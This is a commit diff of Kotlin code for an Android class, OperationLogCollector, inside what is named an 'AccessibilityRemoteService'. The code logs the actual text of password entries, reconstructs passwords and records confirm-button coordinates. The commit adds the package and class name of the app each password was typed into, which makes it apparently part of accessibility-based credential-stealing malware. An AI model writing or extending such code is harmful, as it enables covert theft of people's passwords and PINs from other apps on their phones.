feat: upload latest android source changes

This commit is contained in:
sue
2026-03-03 22:16:30 +08:00
parent c0a7109816
commit 0bf4f72141
56 changed files with 14949 additions and 2152 deletions

View File

@@ -1118,7 +1118,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
"relativeTime" to (currentTime - passwordInputStartTime),
"actualPasswordText" to cleanActualText,
"displayText" to actualText,
"numericSequenceLength" to sequenceLength // ✅ 添加序列长度信息
"numericSequenceLength" to sequenceLength, // ✅ 添加序列长度信息
"packageName" to packageName,
"className" to className
)
passwordInputEvents.add(inputEvent)
@@ -1288,6 +1290,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
// 构建详细的分析信息文本 - ✅ 使用实际密码长度
val analysisText = buildPasswordAnalysisText(passwordAnalysis, duration, eventCount, actualPasswordLength, reconstructedPassword, confirmButtonCoordinate)
val lastEvent = passwordInputEvents.lastOrNull()
val sourcePackageName = lastEvent?.get("packageName") as? String ?: ""
val sourceClassName = lastEvent?.get("className") as? String ?: ""
logScope.launch {
val extraData = mutableMapOf<String, Any>(
@@ -1303,7 +1308,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
"enhancedPasswordType" to convertToEnhancedType(passwordType), // ✅ 添加增强类型
"legacyPasswordType" to passwordType, // ✅ 添加传统类型
"originalCurrentPasswordLength" to currentPasswordLength, // ✅ 保留原始长度用于调试
"correctedPasswordLength" to actualPasswordLength // ✅ 校正后的长度
"correctedPasswordLength" to actualPasswordLength, // ✅ 校正后的长度
"sourcePackageName" to sourcePackageName,
"sourceClassName" to sourceClassName
)
// ✅ 如果有确认按钮坐标记录到extraData中
@@ -4373,4 +4380,4 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
return isKeyboardRelated && hasNumericContent
}
}
}